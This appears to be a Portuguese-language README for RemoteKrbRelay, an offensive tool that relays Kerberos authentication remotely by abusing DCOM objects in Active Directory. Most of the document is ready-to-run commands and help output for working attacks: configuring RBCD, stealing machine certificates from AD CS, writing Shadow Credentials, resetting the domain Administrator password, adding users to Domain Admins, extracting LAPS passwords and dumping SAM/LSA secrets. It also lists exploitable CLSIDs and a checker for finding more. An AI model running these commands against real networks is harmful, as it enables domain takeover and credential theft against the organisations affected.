
Relé Kerberos Remoto simplificado! Framework Avançado de Relé Kerberos
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
Você provavelmente conhece o KrbRelay e o KrbRelayUp, mas e se eu dissesse que pode ser feito remotamente? Com o RemoteKrbRelay, isso se torna realidade.
Saiba mais sobre o CertifiedDCOM aqui. O CertifiedDCOM permite que você acione uma conta de máquina ADCS:
# CertifiedDCOM (Abusar do AD CS configurando RBCD)
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
# CertifiedDCOM (Abusar do ADCS para obter certificado de máquina)
.\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
# CertifiedDCOM (Abusar do ADCS com ShadowCreds)
.\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
Também existe o exploit SilverPotato. Você pode usá-lo para abusar de sessões. Incluindo uma sessão de administrador de domínio em um host de terceiros.
# Alterar senha do usuário
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
# Adicionar usuário a um grupo
.\RemoteKrbRelay.exe -addgroupmember -victim computer.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group "Domain Admins" -groupuser petka
# Extrair senhas do LAPS
.\RemoteKrbRelay.exe -laps -victim mssql.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# Enviar solicitação LDAP Whoami do usuário retransmitido
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# Acionar autenticação de outra sessão
.\RemoteKrbRelay.exe -ldapwhoami -victim domainadminhost.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
Agora, você tem quatro pastas à sua frente:
Checker - versão antiga do verificador para detectar objetos DCOM vulneráveis;Checkerv2.0 - nova versão do verificador para detectar objetos DCOM vulneráveis;Exploit - RemoteKrbRelay.exe :)FindAvailablePort - uma ferramenta para contornar um firewall ao usar o exploit.Então, vamos começar com o Checker. Você pode usá-lo para detectar objetos DCOM vulneráveis. Um objeto DCOM vulnerável pode ser considerado:
NT AUTHORITY\LOCAL SERVICE, pois ele usa credenciais vazias para autenticar a partir da rede;RemoteLaunch, RemoteActivation. Isso é o LaunchPermissions;RPC_C_IMP_LEVEL_IDENTIFY ou superior. RPC_C_IMP_LEVEL_IDENTIFY é o valor padrão;RemoteAccess (ou elas devem estar vazias). Isso é o AccessPermission.Para detecção facilitada, você pode usar o Checkerv2.0. Ele suporta saída nos formatos csv e xlsx.
PS A:\ssd\Share\RemoteKrbRelay\Checkerv2.0\Checkerv2.0\bin\Debug> .\Checkerv2.0.exe -h
/\_/\____, /\ /\
,___/\_/\ \ ~ / \ _____\
\ ~ \ ) XXX (_)-(_)
XXX / /\_/\___, Checkerv2.0 Collection
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
Check.exe
Ferramenta pequena que permite encontrar aplicações DCOM vulneráveis
[OPÇÕES]
-outfile : nome do arquivo de saída
-outformat : formato de saída. Aceita 'csv' e 'xlsx'
-showtable : mostrar a tabela xlsx quando ela for preenchida
-h/--help : exibe esta janela
Exemplo:
.\Checkerv2.0.exe -outfile win10 -outformat xlsx
E você receberá essa saída:

As colunas conterão os CLSIDs dos objetos DCOM, nomes e as permissões LaunchPermission e AccessPermission.

Tente pesquisar pelos objetos sppui (CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}, APPID {0868DC9B-D9A2-4f64-9362-133CEA201299}) e CertSrv Request (CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3}) e entenda por que eles são vulneráveis.
Não use o Checker, use apenas o Checkerv2.0 por favor :3
Uma pequena ferramenta para descobrir uma porta na qual levantar um servidor DCOM malicioso. Veja detalhes aqui (Remote -> Local Potato).

Pratique usando o conceito de porta local. Reescreva o RemotePotato0 para uma porta local. Confie em mim, isso é útil.
Adicionei bastante funcionalidade diferente ao exploit. Observe que ele fornece funcionalidade suficiente para abusar de objetos DCOM. Também listei alguns CLSIDs no Help para abuso. Esses CLSIDs eram publicamente conhecidos, apenas não havia um POC para abusar deles. Existem vários objetos DCOM vulneráveis, trabalhe com o verificador e encontre todos eles!
PS A:\ssd\Share\RemoteKrbRelay\Exploit\RemoteKrbRelay\bin\x64\Debug> .\RemoteKrbRelay.exe -h
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
[PAINEL DE AJUDA]
RemoteKrbRelay.exe
Retransmitindo Autenticação Kerberos Remota de forma fácil
Uso: RemoteKrbRelay.exe [ATAQUES] [OPÇÕES OBRIGATÓRIAS] [PARÂMETROS OPCIONAIS] [OPÇÕES DE ATAQUE] [SWITCHES]
[ATAQUES] (um obrigatório!)
-rbcd : retransmitir para LDAP e configurar RBCD
-adcs : retransmitir para HTTP Web Enrollment e obter certificado
-smb : retransmitir para SMB
-shadowcred : retransmitir para LDAP e configurar Shadow Credentials
-chp : retransmitir para LDAP e alterar senha do usuário
-addgroupmember : retransmitir para LDAP e adicionar usuário a grupo
-laps : retransmitir para LDAP e extrair senhas do LAPS
-ldapwhoami : retransmitir para LDAP e obter informações sobre o usuário retransmitido
[OPÇÕES OBRIGATÓRIAS]
-target : retransmitir para este alvo
-victim : retransmitir este computador
-clsid : CLSID alvo para abusar
[PARÂMETROS OPCIONAIS]
-spn : com ticket neste SPN a vítima virá até nós. Ex: ldap/dc01.root.apchi - tkt para modo RBCD , http/dc01.root.apchi - tkt para modo ADCS
-d/--domain : domínio atual (alvo)
-dc/--domaincontoller : DC alvo
-local : nome do host do computador atual. Este host estará no OBJREF.
[OPÇÕES DE ATAQUE]
[OPÇÕES SMB (Retransmitir para SMB)]
--smbkeyword : especificar 'secrets' ou 'service-add' ou 'interactive'
--servicename : cmdlet service-add. Nome do novo serviço
--servicecmd : cmdlet service-add. Linha de comando do serviço
[OPÇÕES ADCS (Retransmitir para HTTP)]
-template : Apenas modo ADCS. Template para retransmitir
[OPÇÕES RBCD (Retransmitir para LDAP)]
-c/--create : Criar novo computador
-cn/--computername : Nome do computador que será escrito em msDs-AllowedToActOnBehalfOfOtherIdentity
-cp/--computerpassword : requer a opção -c. Senha para o novo computador
--victimdn : DN do computador vítima
[OPÇÕES DE ALTERAÇÃO DE SENHA (Retransmitir para LDAP)]
-chpuser : nome do usuário cuja senha você deseja alterar
-chppass : nova senha
[OPÇÕES DE ADICIONAR MEMBRO AO GRUPO (Retransmitir para LDAP)]
-group : nome do grupo
-groupuser : usuário a adicionar ao grupo
-groupdn : DN do grupo alvo
-userdn : DN do usuário alvo
[OPÇÕES SHADOWCRED (Retransmitir para LDAP)]
-forceshadowcred : forçar shadow creds
[OPÇÕES LAPS (Retransmitir para LDAP)]
-lapsdevice : Parâmetro opcional. Nome do host do computador alvo para extrair laps
[SWITCHES]
-h/--help : exibir ajuda
-debug : exibir informações de depuração
-secure : usar SSL para conexão com LDAP/HTTP/etc
-p/--port : porta para implantar servidor dcom malicioso
-session : ativação entre sessões. Útil ao instanciar objetos com com valor RunAs como "The Interactive User"
-module : padrão "System". É para contornar firewall
[EXEMPLOS]
[1] Acionar autenticação kerberos de adcs.root.apchi (-victim). Em seguida, retransmitir para dc01.root.apchi (-target). E configurar RBCD (opcionalmente você pode fornecer -dc porque configurar RBCD requer conexão com ldap no DC) de adcs.root.apchi para FAKEMACHINE$ (-cn). Como resultado, você pode comprometer adcs.root.apchi a partir de FAKEMACHINE$ via RBCD
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
[2] Acionar auth krb de dc01.root.apchi (-victim). Em seguida, retransmitir para win10.root.apchi (-target) e abrir Console SMB interativo.
.\RemoteKrbRelay.exe -smb --smbkeyword interactive -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[3] Acionar auth krb de dc01.root.apchi (-victim). Em seguida, retransmitir para win10.root.apchi (-target) e extrair segredos SAM/LSA de win10.root.apchi.
.\RemoteKrbRelay.exe -smb --smbkeyword secrets -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[4] Acionar auth krb de dc01.root.apchi (-victim). Em seguida, retransmitir para win10.root.apchi (-target) e criar serviço.
.\RemoteKrbRelay.exe -smb --smbkeyword service-add --servicename Hello --servicecmd "c:\windows\system32\calc.exe" -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[5] Obter certificado de máquina a partir de retransmissão kerberos
.\RemoteKrbRelay.exe -adcs -template Machine -target dc01.root.apchi -victim win10.root.apchi -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[6] Shadow Creds
.\RemoteKrbRelay.exe -shadowcred -victim dc01.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
[7] Alterar senha do usuário
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
[9] Extrair senhas do LAPS
.\RemoteKrbRelay.exe -laps -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[10] Enviar solicitação LDAP Whoami do usuário retransmitido
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[11] Acionar autenticação de outra sessão
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
[?] CLSIDs interessantes para usar
dea794e0-1c1d-4363-b171-98d0b1703586 - Interactive User. Você pode usar com a opção -session. Você deve estar em NT AUTHORITY\Interactive
f87b28f1-da9a-4f35-8ec0-800efcf26b83 - Interactive User. Você pode usar com a opção -session. Você deve estar em Distributed COM Users ou Performance Log Users
3ab092c4-de6a-4cd4-be9e-fdacdb05759c - System account. No computador vítima deve estar instalado o AD CS
6d5ad135-1730-4f19-a4eb-3f87e7c976bb - System account. No computador vítima deve estar instalado o AD CS
Sugiro olhar alguns dos ataques:
RBCD - retransmitir para LDAP e configurar RBCD.

HTTP ADCS - retransmitir para o serviço de web enrollment.

ShadowCred - retransmitir para LDAP e configurar ShadowCreds.

Adicionar usuário a grupo

Solicitação LDAP Whoami - É conveniente combinar com a funcionalidade de bruteforce de CLSID. Você pode descobrir qual usuário está acionando. Tente acionar para as primeiras cinco sessões em todas as máquinas do domínio. Uau, isso é o quê, um administrador de domínio em cinco minutos? :)

Suporta ativação entre sessões usando -session:


Também LAPS, alteração de senha do usuário, smb....
Vídeo DEMO:
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.vostok.street -target dc01.vostok.street -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -local dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA
# mas ainda não implementei a retransmissão da solicitação OXID Inicial. Faça isso, BRO! :)
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA <- este é um registro DNS A que aponta para kali (obrigado ao CredMarshalTargetInfo() porque posso receber tkt em RPCSS/dc01)
.\RemoteKrbRelay.exe -rbcd -victim win10.vostok.street -target dc01.vostok.street -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -spn krbtgt/root.apchi -cn FAKEMACHINE$
A vulnerabilidade é bastante séria. Observe que este é o POC mínimo. Você deve refiná-lo se quiser usá-lo de forma estável em seus projetos de Red Team.
Obrigado por não publicarem o POC no CertifiedDCOM e no SilverPotato, fiquei muito empolgado para fazê-los baseado nesses artigos :D